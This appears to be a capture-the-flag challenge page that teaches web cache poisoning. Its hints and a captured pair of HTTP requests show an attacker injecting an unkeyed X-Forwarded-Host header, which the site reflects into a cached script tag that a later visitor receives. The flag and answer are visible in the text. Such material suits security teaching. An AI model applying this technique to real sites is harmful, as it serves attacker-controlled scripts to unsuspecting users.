Forwarded and Forgotten
Medium 30 ptsA site builds an absolute URL for its script tag from the X-Forwarded-Host
header — a header the CDN does not include in its cache key. The capture below shows an
attacker's request with a poisoned header, and then an ordinary victim's request coming back with the
attacker's domain already baked in and an X-Cache: HIT. Find the value the poisoned entry
now serves to everyone.
Hints
Open them in order. They nudge, they do not solve.
Hint 1
Compare the two requests. What did the attacker change that the cache did not key on?
Hint 2
The origin reflected that header into the <script src>. The victim's HIT now serves it.
Hint 3
The flag is the host the poisoned script tag now points at, in the second (victim) response.
The artifact
1 — attacker primes the cache:
GET /home HTTP/1.1
Host: blog.example
X-Forwarded-Host: nm{unkeyed_input_poisons_the_pool}
HTTP/1.1 200 OK
X-Cache: MISS
Cache-Control: public, max-age=300
...
<script src="//nm{unkeyed_input_poisons_the_pool}/a.js"></script>
2 — an ordinary visitor, clean headers, moments later:
GET /home HTTP/1.1
Host: blog.example
HTTP/1.1 200 OK
X-Cache: HIT
Age: 12
...
<script src="//nm{unkeyed_input_poisons_the_pool}/a.js"></script>
The victim sent nothing malicious. The cache handed them the attacker's script.